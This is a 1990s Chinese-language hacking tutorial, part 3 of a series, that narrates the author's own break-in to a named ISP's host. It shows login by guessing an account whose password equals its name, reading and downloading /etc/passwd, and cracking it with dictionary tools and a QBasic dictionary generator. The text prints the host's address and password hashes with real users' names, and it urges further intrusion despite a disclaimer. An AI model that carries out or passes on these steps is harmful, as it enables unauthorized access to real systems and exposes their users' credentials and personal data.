如何破解系統(tǒng)（3）

這不是一個教學(xué)文件, 只是告訴你該如何破解系統(tǒng),好讓你能夠?qū)⒆约旱南到y(tǒng)作安全的保護(hù), 如果你能夠?qū)⑦@份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 并不是教人 Crack Password若有人因此文件導(dǎo)致惡意入侵別人的電腦或網(wǎng)路, 本人概不負(fù)責(zé) !!
' A$ F4 r  L5 N) b0 x/ a
7 K! c* m- [6 o' X  v前幾次說到了 Net Coffee 店, 還好他們沒有提供客戶撥接上線的功能,不然密碼或是帳號被人盜用的客戶不就糗大了! 但是 CoolFire 在這兩周的探險中, 為了找一個酷似網(wǎng)路咖啡站臺的
& L. S, t9 |& k. s4 DW3 密碼,誤入一個號稱第一個提供網(wǎng)路撥接的 ISP, 且在 CoolFire 順利的抓回 /etc/passwd
. t# N/ |+ T8 m4 [& g9 m" f# m/ g8 v之後, 使用了自己寫的 PaSs2DiC + CJack 來解出密碼, 沒想到不用 1 分鐘, 就找出了 9 組 ID 與Password 相同的密碼,勿怪我沒有在這里提醒大家, 還好我沒有找到 root password, 不然可能該系統(tǒng)就此停擺,不可再見天日也! (當(dāng)然我不可能這麼作啦!).
9 P$ [' c4 ~3 i6 K& `7 n; G# b
看看最近興起的網(wǎng)路咖啡及各大網(wǎng)站的系統(tǒng)安全設(shè)施, 再加上 CoolFire最近開會的時候遇到的情況, 不難發(fā)現(xiàn)我們的國家正往高科技的領(lǐng)域快步邁進(jìn), 但是這些系統(tǒng)的安全性若不加強(qiáng),可能到時候人家只要一臺電腦再加上一臺數(shù)據(jù)機(jī)就可以讓整個國家的金融及工商業(yè)崩潰!
' ]- c; e3 l) V3 z2 T1 K! J大家要小心呀 !
- v$ _* F+ S4 SISP 是一般 User 撥接的源頭, 技術(shù)上理應(yīng)比較強(qiáng), 但還是輕易讓人入侵, 且又沒有教導(dǎo)User 正確的網(wǎng)路使用觀念 (Password 的設(shè)定及 proxy 的使用等),實(shí)在不敢想像這樣的網(wǎng)路發(fā)展到幾年後會是甚麼樣子 ??
$ I9 p4 [! o! I
這一次的說明還是沒有談到新的技巧, 在 James將首頁更新後各位應(yīng)該已經(jīng)可以從中學(xué)到許多東西了, 如果想要學(xué)習(xí)入侵, 就一定要知道最新的資訊 (入侵本國的網(wǎng)路則不用,反正沒人重視網(wǎng)路安全..... 真失望), 在別人還沒將 Bug 修正之前就搶先一步拿到 /etc/passwd,所以訂閱一些網(wǎng)路安全的 Mail List 是必要的, 多看一些網(wǎng)安有關(guān)的 News Group 也是必要的 (不僅 Hacker如此, ISP 更要多注意這些資訊!). 日後有空再整里一些 Mail List 給大家 !!
; n+ \- L6 q: d3 ^& r3 w
# K  X# l3 E: q* v本次主題: 說明如何連接該 ISP 并且對其 /etc/passwd 解碼連接位址: www.coffee.com.tw (203.66.169.11)特別說明: 由於本次主題說明重點(diǎn)使用真實(shí)的位址及名稱, 所以 CoolFire 已經(jīng) Mail給該網(wǎng)頁之維護(hù)人員更改密碼, 但該網(wǎng)頁之 ISP 仍為新手之練習(xí)好題材! CoolFire
Mail 給該網(wǎng)頁維護(hù)人員之信件內(nèi)容如下, 如果他還不盡快改掉, 我也沒辦法了!
6 M/ Y. C4 E5 a" e& S& w
0 C! {' m0 u6 w9 _# m# CMail sent to dhacme@tp.globalnet.com.tw:
' Z* k; @* Z) L' Y! g/ eSubject: 請速更動網(wǎng)頁密碼
% y$ {0 {. F; S# OFrom: CoolFire <coolfires@hotmail.com>
& o/ K. F. t7 n
, B6 g* |; k2 V+ c你的網(wǎng)頁作得不錯, 但是因?yàn)槟闼O(shè)定的密碼太容易為駭客所? 入侵, 請於見到此信後速速更改你的網(wǎng)頁進(jìn)入密碼, 否則下次若網(wǎng)頁遭到篡改, 本人概不負(fù)責(zé)!!
- c1 |# W" C! t" o: V" U
**** 課程開始 ****
3 X0 ?) j# z) P; d: R5 ]+ ?. x
請注意: 由於本次所作的課程內(nèi)容以實(shí)作為主, 除了本人 IP 有所更改,一切都使用本人所用之
5 x4 e! {' k! w) N' ?3 UTelnet 軟體 Log 檔收錄, 故若道德感不佳者請勿閱讀以下之詳細(xì)破解內(nèi)容,否則本人概不負(fù)責(zé)!
  W* y; [& X$ O# [
# s, W- F5 R( B9 r! T0 O; ~& c9 L(連線到某一主機(jī)之後.... 此處的 ms.hinet.net.tw 是假的 Domain name)
ms.hinet.net.tw> telnet www.coffee.com.tw
8 H4 [. m" k3 z7 T; R4 ATrying 203.66.169.11...
Connected to www.coffee.com.tw.
Escape character is '^]'.
Password: (隨便按一下 Enter)
) m# x" O" I( J/ m! z6 @Login incorrect
& v9 ~, f3 }- u2 S8 G! N" Z. o6 T
www login: coffee (以 Hacker 的敏銳判斷 username=coffee password=coffee)
( c% V+ u7 S: Z3 ^! tPassword:
Last login: Thu Jan 9 10:41:52 from ms.hinet.net.tw
& D1 l; T2 p& K
歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
=================================================================
2 k5 Y: B1 o3 l
4 o- Q! R( V" `; K: a(直接進(jìn)入核心部份)
3 \6 W+ Q. {% R- Fwww:~$ cd /etc
www:/etc$ ls
, B" p& ]$ \# U! b) W/ k5 B# LDIR_COLORS hosts.equiv printcap
! x4 l0 \9 p( V9 ?. yHOSTNAME hosts.lpd profile
( P* a& [  Y, _* x; [NETWORKING inet@ protocols
NNTP_INEWS_DOMAIN inetd.conf psdevtab
- s- f: r+ H6 v  D; SX11@ inittab rc.d/
! }6 |# q$ }5 s% }" c: Dat.deny inittab.gettyps.sample resolv.conf
bootptab ioctl.save rpc
csh.cshrc issue securetty
& S* ?$ s! ^) k6 q( {2 t5 jcsh.login issue.net securetty.old
% c0 I9 a9 l) k% ~- a# s  qdefault/ klogd.pid sendmail.cf
3 [& E3 K$ x7 \3 Cdiphosts ld.so.cache sendmail.st
% D" N1 ^/ }2 x' P/ R) g3 W' zexports ld.so.conf services
( C& K/ t2 D4 ]/ z4 c0 yfastboot lilo/ shells
fdprm lilo.conf shutdownpid
7 Q% C0 b4 z" _% j3 S& O7 x# efs/ localtime skel/
. \" N* K& z0 efstab magic slip.hosts
1 ~3 B( r6 w. w% ~" N. A- {ftp.banner mail.rc slip.login
$ }& w  O7 A+ h8 H7 e4 Fftp.deny motd snooptab
3 B6 s! f2 S; o5 `$ ?- Uftpaccess motd.bak sudoers
ftpconversions msgs/ syslog.conf
ftpgroups mtab syslog.pid
ftpusers mtools termcap
# v! G* i# P4 u9 C7 ]5 l/ T1 C' \8 `# ggateways named.boot ttys
gettydefs networks utmp@
) s' n/ q* q9 h/ ?' N4 ~5 T! igroup nntpserver vga/
$ p& m) c3 Q0 t% _$ z( |host.conf passwd wtmp@
2 @7 z+ T; ^/ }5 r+ s+ thosts passwd.OLD yp.conf.example
- B4 s) b# b4 M/ Ahosts.allow passwd.old
& e# c3 e6 J7 ohosts.deny ppp/
4 |& T4 m) D/ m3 w
(看看我們的目標(biāo)長得如何???)
+ B, ]8 Z: }: Z0 j+ k; S; zwww:/etc$ cat passwd
6 w" k# l- M" Zroot:abcdefghijklmn:0:0:root:/root:/bin/bash
8 z( R0 {: V! L/ t( w$ l2 ?8 h6 J# [bin:*:1:1:bin:/bin:
5 ?3 v0 |8 h) w# b& e& _( {daemon:*:2:2:daemon:/sbin:
' |1 l# j0 R- O: ]- C! Eadm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
: L) T$ X+ C  A2 C% gshutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
  [& k7 P+ N9 R4 Xnews:*:9:13:news:/usr/lib/news:
! J1 s* w2 |' n) V& t0 Uuucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
2 M1 V) ~8 a( t' zman:*:13:15:man:/usr/man:
) C/ M& E& ^! ]2 q1 |7 ipostmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-1:100:nobody:/dev/null:
9 C. ~$ W+ l4 ?2 z$ k! Zftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash
7 h. \. ^: [- A  q% R/ k' y. Owww:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash
4 {* p% V# q6 q2 t4 `test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash
7 _& @1 E) d9 R$ i9 afax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash
1 q3 B7 ^* N$ c3 ewomen:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash
kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash
; ?* K4 g6 ?& e+ y- a$ z- bcoffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash
bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash
- G+ |2 q! c4 i7 dcarven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash
& ^/ H4 ^- F0 Khaurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash
# Z4 F' j* R* F7 a/ Y- u7 mprime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash
tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash
( i; C& |4 k) o5 Zccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash
sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash
services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash
! q, |# ]1 y( h  f4 M4 [order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash
corey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash
' q8 r( J0 f6 _) j+ arichard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash
lilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash
9 C( d% }. v% R5 Ssupport:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash
hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash
stonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh
" w; D1 m9 c% zbear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash
. o9 s1 m$ v" `( Wlance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh
taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash
/ n  i' ^5 f+ `$ `* }service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash
- W+ q. B( X, {8 N$ Xliheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash
" I8 ~; g7 V7 b+ O( Zcaves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash
+ ]" c% l! U6 g6 w2 Rsales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash
  D. |; u- z' n: M, f$ {kingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash
recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash
recycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash
recycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash
7 I8 I* d/ p0 G5 Trecycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash
% O' Q+ Y  l% E5 }0 L$ U% Yhxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash
goodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash
sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash
) b, R) t" s% |9 crwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash
charliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash
% d# y3 m" F# J7 G* |) T' y. pjdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash
tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash
) I+ ~' \6 W& D4 T  Zslb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash
s6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash
lsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash
lilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash
nalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash
jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash
toonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash
- z4 b6 k5 v9 O. oyahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash
basic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash
wunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash
2 g$ @* T- \! s( ?1 a% G3 Qkaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash
shuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash
/ X! b7 \3 x5 j7 kfan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash
& i( q% }. k4 o! V' ^- X0 N1 B
3 b4 }5 ?8 U3 a/ V(CoolFire 注: 因?yàn)槭褂?PaSs2DiC 很容易找出 ID 與 Password 相同的. 故除了 Coffee外, 其它我找到密碼的 EnCode Password 部份皆改過..... 除非你一個一個試?yán)瞺~~ 我沒說喔!)
6 e( q; g* b4 S* f0 F1 {; ]
# F- H! U/ n: G2 M6 x" q. Iwww:/etc$ exit
  [3 v- D- L" p) E9 r! ]3 Ologout
4 X) @" G4 a. z4 N8 WConnection closed by foreign host.
# w! y% S! ], S, l9 i  G/ P* l6 l5 R
  q% u6 k# I3 i; v& q) X( A(可以走了 !! 改用 FTP 將 /etc/passwd 給抓回來吧!)
4 I: T! Y) n- J* z$ G  E1 g' X
7 ~1 ?0 ]# b5 x0 pms.hinet.net.tw> ftp www.coffee.com.tw
2 H+ P' z6 a7 K# G5 R8 kConnected to www.coffee.com.tw.
220-
220- 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽(yù), 大家自己去看吧!
220-
/ X6 X; s& Q4 u9 N% x220-
' I/ w/ X; R8 N$ @* @1 b220- There are 0 users in FTP Server now.
220- 目前已有 0 使用者在此 Server 上.
" n- e# h2 d0 [( D* Y220- If you have any suggestion, please mail to:
& C1 L3 o. u5 ~" W( e1 R- M220- service@xx.xxxxxxx.xxx.xx.
( w2 z. V& h% T  G+ B& E220-
220-
220-
) i7 a- W+ J( V& `* V$ t220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.
" c5 s6 t" y1 u7 i& V% ^% V( S
8 M# g% T  c3 C* t$ u( z(還是使用剛剛的帳號進(jìn)入)
! S( O5 r% K4 t1 `& H+ L: V1 U
Name (www.coffee.com.tw:YourName): coffee
331 Password required for coffee.
Password:
. P& j6 M) A1 Z9 `230 User coffee logged in.
: F& a8 |  ]( M$ w2 SRemote system type is UNIX.
5 u& q9 }' J' |7 Z$ d  yUsing binary mode to transfer files.
) L- o! Z5 C3 F& ]( m9 G& d
(直接到達(dá)檔案放置地點(diǎn))

ftp> cd /etc
9 x. k$ O  X. j' T250 CWD command successful.
7 e: e1 X# |: G; e: M) tftp> ls
' F" l8 j9 k1 t$ Y/ Q: q6 j200 PORT command successful.
; _/ v7 f) Z! t150 Opening ASCII mode data connection for file list.
ttys
fdprm
group
6 V* O$ v% h$ T2 J/ t9 xissue
" }, k, ?7 R9 S3 E+ p* Mmotd
3 E+ t' j) j4 Y8 L* o) jmtools
/ y  c% [, @4 C1 g/ |profile
securetty
shells
termcap
skel
csh.cshrc
% B/ ~& R! [% C) C+ N9 g* Dcsh.login
* m9 U% |$ f' a' N7 f$ B) ^8 B& L3 {lilo
inet
5 N% h% A4 c0 W/ Y8 ]; `; @default
# Z3 F. \& n: l7 w, U! kservices
- K7 W2 }4 k5 ]2 U/ r3 }: V0 xHOSTNAME
DIR_COLORS
passwd
passwd.OLD
wtmp
utmp
gettydefs
inittab.gettyps.sample
ld.so.conf
0 W( A' a0 n4 l' E5 Eld.so.cache
at.deny
fs
, R! u8 z, S/ s7 Pmagic
rc.d
) p6 S( a8 [* h' q% E/ |' [  }& Psyslog.conf
9 {4 b7 X8 N( u0 V  O9 V, wprintcap
inittab
sudoers
* b. o4 E) z& W! o! T* u' Fvga
diphosts
+ V4 l. H9 }& [1 L1 pmail.rc
: w0 C; p% U, G/ [$ B+ uppp
% h9 J* p' e5 B0 O3 pNNTP_INEWS_DOMAIN
& N/ ^1 r7 ~  [sendmail.st
9 ~" o* ?. c& w% p$ Q- |NETWORKING
/ Q& S$ r: |6 c7 U( S7 J4 dgateways
bootptab
: v- d7 j. k! E( b  ^exports
ftpusers
; V. E& h4 e' r- @8 Z" e1 Ihost.conf
; \1 }8 A5 u* vhosts
hosts.allow
$ K8 n5 l6 h! y/ Y/ g6 e- E+ Vhosts.deny
0 l. I9 Z) w8 M! J& x& K! r! ahosts.equiv
inetd.conf
named.boot
networks
nntpserver
protocols
/ e; \+ [- K5 r+ F8 u3 K9 o& eresolv.conf
rpc
ftpaccess
hosts.lpd
ftpconversions
snooptab
msgs
5 O+ U9 s6 Y3 G2 O& v1 a# \ftpgroups
slip.login
slip.hosts
yp.conf.example
X11
/ ^( @- n8 Y' n2 plilo.conf
sendmail.cf
fstab
fastboot
/ T. T+ w+ y0 Wmtab
% Q3 @8 s. C& \' H  X# `- Fsyslog.pid
klogd.pid
shutdownpid
" f4 r' K" L8 D8 t6 S! T  Llocaltime
passwd.old
ioctl.save
" h  n; Q! T" \# Vpsdevtab
ftp.banner
ftp.deny
issue.net
( t$ R' g7 F3 Pmotd.bak
securetty.old
226 Transfer complete.
4 o% T4 p1 F1 g9 Z( B
+ ?( x. `  g8 n/ N. d(取回該檔案)

: ^3 g1 U& m) Z7 D6 dftp> get passwd
200 PORT command successful.
" K0 X  N% k: J# E, n150 Opening BINARY mode data connection for passwd (4081 bytes).
% X) j2 H/ M8 j" |226 Transfer complete.
4081 bytes received in 2.5 seconds (1.6 Kbytes/s)

7 f" d% {- Q) X, ]! I9 f6 K(盡速離開)

6 {  R2 k/ z" uftp> bye
& u' u( P3 Y$ c( t3 `! C9 [" h0 `221 Goodbye.

好了! 有了 /etc/passwd 之後一切都好辦了, 趕緊將你的寶貝收藏 PaSs2DiC 拿出來吧
!!快點(diǎn)跑一下, 讓它自動產(chǎn)生字典檔案:
. l6 i: Y8 Q" D+ v5 Y$ R
, I5 f) J: t/ _6 d; o9 L5 J) gC:\hack>pass2dic
PaSs2DiC V0.2 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.
9 B) g2 p) T; t7 F! U# N
( j1 e5 q% j; J+ O7 ?7 m7 RThis tool will:
7 z& b& t5 W! k$ b
% i, Z7 r! m( q& t[1] Load PASSWD file and convert it to only username text file
[2] Write the file to a dictionary file you choise for target
. ^. u- }. _# J
0 F; Y1 Q- [0 ^5 N% i, o8 cYour Source PASSWD File Name: passwd
) Q# \  S5 i$ J1 }( p% i! ZYour Target Dictionary Name: dic.cfe
) O) W- s' T  q0 s" C
PaSs2DiC Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw
) A: w6 `( d* t3 R# E4 `FETAG Software Development Co: http://www.showtower.com.tw/~fetag
3 o% t/ P4 c5 S7 Y( G3 h
C:\hack>
5 [: c/ l/ ^3 U- O* _3 K2 \
6 P9 L  d! M5 w" F, R3 A" G4 U. {(這樣就好了 ! 自動產(chǎn)生的檔案會放在 dic.cfe 這個檔案中, 咱們跑一下 Brute Force看看!)
4 [* e6 i# _, j. U" t: {

C:\hack>fbrute passwd @dic.cfe

8 v# C/ \1 `7 j: x; jBRUTE!, Unix Brute Force Hacking Routine. v2.0
Copyright (C) 1990, Prometheus. DOS-fastcrypt made available by sir hackalot.
5 C0 H4 v% B/ w4 v3 w闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡闡

5 E9 g8 |5 a' j( N# Q. x/ X　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
Attempts/Hits: 5184/9
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
% M0 H  ?0 @6 k- a
, c- i" H. U. ]* l+ D: |/ [Taking list input from dic.cfe
Beginning search of passwd for password: xxx

Match for password xxxxxx found! Username: xxxxxx
Match for password xxxxx found! Username: xxxxx
3 e& e! s3 t% _. F" K2 [Match for password xxx found! Username: xxx
8 Q+ Z( a' S/ V# a7 R! ]Match for password xxxxxx found! Username: xxxxxx
" K9 i* ~! T& `$ o* tMatch for password xxxxxx found! Username: xxxxxx
Match for password coffee found! Username: coffee
Match for password xxxxxxx found! Username: xxxxxxx
: A# x% n% {; u( O4 fMatch for password xxx found! Username: xxx
Match for password xxxx found! Username: xxxx

Done.
- t+ Q# V/ v5 L' G& j. X9 O" e
C:\hack>

看! 除了 coffee 外還是有許多人使用與 ID 相同的字作為密碼, 實(shí)在是....@#$%^...&*因某些關(guān)系所以其它部份要被 "馬賽克" 起來, 請各位讀者見量!
  k* x, W5 [6 ]* a4 f  Y& y
0 E5 W/ g  P# \5 w; C**** 再談密碼 ****

) w) P  u5 d# _' B) D看了以上的破解示范, 就可以了解到許多人還是對於 "密碼" 這東西不是很有 "密碼"的觀念, 人就是那麼的懶, 隨便設(shè)定一個好記的, 但是這種密碼確是最不安全的, 上次我們談到如何用
QBasic 來設(shè)計一個自動產(chǎn)生密碼的小程式, 相信對許多人有很大的幫助,底下我們再來淺顯的介紹一下字母密碼的產(chǎn)生方法, 相信對於你在 Hack 某站會有更大的幫助.
$ N0 @. X- [, r
! w, F3 U! _$ x# x% b5 O- v事情的開始是有一位網(wǎng)友 mail 給我, 問我字典檔要如何寫程式來 "自動擴(kuò)大",而讓我有了寫這一段的想法, 現(xiàn)在我就針對這位網(wǎng)友的問題作一個更詳細(xì)的說明 (因已簡短回信答覆),并且寫出來讓大家了解一下, 當(dāng)然我們的示范還是使用 QBasic, 因?yàn)檫@是最容易找到的程式了,而且語法大家也可能會比較熟悉一點(diǎn), 如果我使用 VB 或 C 來寫, 可能有些人只會拿去用,而不會去修改或者寫個好一點(diǎn)的出來!
2 f$ J4 |3 N$ J3 i2 Y
先說明一下原理好了: 我們所要作的程式是一個自動產(chǎn)生字典檔的程式,所以我們要了解字的字母排列到底有哪些方法可循?? 我們先舉幾個簡單的單字出來比較看看:

  E* V5 p6 \* w! {$ ^[1] apple [2] guest [3] james [4] superman [5] password

2 ~7 M) _$ _2 Y7 ?8 Y/ ROK! 來看看! 如果你有一點(diǎn)英文的概念的話應(yīng)該會知道母音及子音吧 !
我們首先這樣說明: 母音在英文
上有 : A E I O U 這五個, 所有的英文單字都會有這些母音(有些沒有的可能是專有名詞或縮寫), 也有可能是雙母音的字, 如: au, ai, ea, ei, ia, ie, ou, oe, ui, ua... 等,
再來就是比較每個字的開頭, 有可能是母音,也有可能是子音, 但是子音之後通常接的是母音字母, 但是也有例外, 如: student是兩個子音再接一個母音字母, 所以接下來依照常用字將這些子音找出來, 我想了一下大概有: br, bl, cl, dg,dr, fl, gr, kn, ph, st, sp, wh .... 等幾種(其它請自行統(tǒng)計), 然後是結(jié)尾部份, 通常結(jié)尾部分有下列幾種: e;est; ord; ard; ls; es; s...等好多好多, 我們稍為思考一下就知道要如何寫出這樣的程式出來了 !!
我大略寫一個簡單的, 其它大家自行發(fā)揮, 如果有人學(xué)語言學(xué)的, 請幫忙弄一份常用組合表出來, 可能會更有幫助吧 !!

底下就是該程式片段, 執(zhí)行後會產(chǎn)生 MyDic.Txt 檔, 大小為: 22,096 Bytes 共有 3120個字的字典!!

--------------- MakeDic.BAS Start Here
' ^* X* d% E+ U1 \-------------------------------------------------------------------------------
) `2 j+ |2 y0 M8 S0 @. C1 `--------
DIM FirstWord$(20)
3 i  t' e/ N- LDIM MotherWord$(13)
DIM LastWord$(12)
% D0 j# P7 }7 U9 Q
7 e2 R' W2 ]: y$ m- ^+ fDATA "br", "bl", "cl", "dg", "dr", "fl", "gr", "kn", "ph", "st", "sp", "s",
* b2 K1 X7 G3 q3 R+ k"t", "p", "k" , "f", "m", "n", "b","k"
DATA "a", "e", "i", "o", "u", "ai", "ei", "ea", "io", "ou", "oi", "au", "eo"
DATA "st", "ord", "ard", "e", "es", "le", "ng", "st", "ing", "n", "b", "s"
( j# }- I+ y2 S4 G# Z5 g* }# l+ ?
) _6 n% ~1 J2 |4 m- A; Q/ F% SFOR I = 1 TO 20
READ FirstWord$(I)
& M+ A' b3 X) q; V$ [0 ?/ X" @PRINT FirstWord$(I)
7 j* f2 W# s$ m0 x  \2 T1 d* H) tNEXT I

FOR I = 1 TO 13
READ MotherWord$(I)
( t+ Z* P& X1 _9 y  N1 K& QNEXT I

  q0 g) ?* Q* S. v' ~FOR I = 1 TO 12
READ LastWord$(I)
NEXT I
! [* r: M: J1 R/ R
OPEN "MyDic.txt" FOR OUTPUT AS #1

- e6 m3 O# R- Z7 u. ~5 M1 uFOR I = 1 TO 20
7 L, J& m3 r6 i3 kFOR J = 1 TO 13
% Q, ?" ^$ ?) h1 B2 YFOR K = 1 TO 12
PRINT #1, FirstWord$(I) + MotherWord$(J) + LastWord$(K)
+ b2 V+ [9 y- W4 u' B  _NEXT K
9 A; Y: ~1 j  V! }, |) V! L2 cNEXT J
: W! w" w; K/ D5 sNEXT I

: h) n" H/ ?! T1 DCLOSE : END
4 f' Q! p$ a: x8 B  a; q$ l--------------- Cut Here, End of MakeDic.BAS
-------------------------------------------------------------------------------
-

當(dāng)然這只是小部份的組合, 相信你可以作出一個更大的字典檔出來, 如:
7 p9 [$ E4 |$ p2 U子音+母音+子音+母音+子音, 作出來的字典檔會很嚇人喔 !! 這一個部份就講到這里了 ! 如果你有很棒的字典產(chǎn)生程式,寫好了請 Mail 一份給我喔 !! 如果可以的話請說明是否可以公布在我的 W3 上讓其它人下載 !!還是你只是要給我 ?!

希望每次講到密碼的問題後, 大家可以將這些密碼的產(chǎn)生方法與自己的密碼對照看看,如果有相同的請趕緊將自己的密碼換掉, 我講得口沫橫飛, 都沒有人要聽嗎 ??? 咖啡業(yè)者...... ISP
2 p% M  l5 e0 S* F7 m) O們.... 教教你們的使用者吧..... 唉~~~~
9 \1 z7 c  W) x* V# {

**** 後語 ****
- Z# o# s7 h8 P$ ?/ f2 i
! i, k6 v/ @, E- j' p' f. c我們的首頁感謝大家的支持, 現(xiàn)在人數(shù)已經(jīng)到達(dá) 2,000 了, 這是一個地下站(未對外正式公布) 很棒的一個數(shù)字, 在與其它工作室人員研究之後, 暫時不對外公布站址, 如果你是 "誤闖"到本站來的! 我們歡迎你的加入, 但目前尚不考慮對外公布站址, 請您在告訴你的朋友有這麼一個站存在的時候,請他不要隨便告訴別人 (請只告訴你信賴的朋友; 或?qū)﹄娔X有一份特別狂熱的人, 我們都?xì)g迎他們的加入),我們目前所采用的方式將是開放式的! 對首頁部份暫時不以密碼方式處理.
$ r+ F$ `4 @  V, x, G
4 W& W( C* N+ v- ?1 }** 不要 Crack 這個首頁的 ISP!!!! 否則 FETAG Sofeware's Hacking Page將會完全關(guān)閉, 再也不尋找其它的地方來放置, 希望給你的是使用電腦的 "知識", 不要利用它來奪取任何的 "權(quán)利",本首頁著重的是教育, 而不是一　的教導(dǎo)攻擊的方法, 希望大家對於政府機(jī)關(guān) (org.tw) 或教育機(jī)構(gòu) (edu.tw)不要作任何的破壞!!還有我的 ISP......:D

8 A6 z2 Q$ M8 b1 @# x0 v. H0 q------
. U& S2 O* [* O! f7 C; r- x& L哇! 一份案子搞了好久, 都沒時間維護(hù)網(wǎng)頁了, 所以特別將維護(hù)的工作還給了 James,希望大家多多支持我們的園地, 我案子搞完後再跟大家談?wù)勎易罱膶?shí)戰(zhàn)故事! 雖然沒時間寫網(wǎng)頁,但是還是會寫一些文件給大家作為參考 !!

0 \6 E1 O* U0 ~4 h' s------
! Y7 j; r8 {$ F  S3 e再次重申, Crack 別人站臺之後不要破壞別人站臺中的資料, 此篇文章僅作為教育目的,不主張你隨便入侵他人主機(jī).... (高-Net 還是除外)... 請勿將這類技術(shù)使用於破壞上 (又...如果第三次世界大戰(zhàn)開打, 你可以任意破壞敵國的電腦網(wǎng)路... 我全力支持),最嚴(yán)重的情況(如果你真的很討厭該主機(jī)的話)... 就將它 Shut Down.... 好了! 別太暴力了!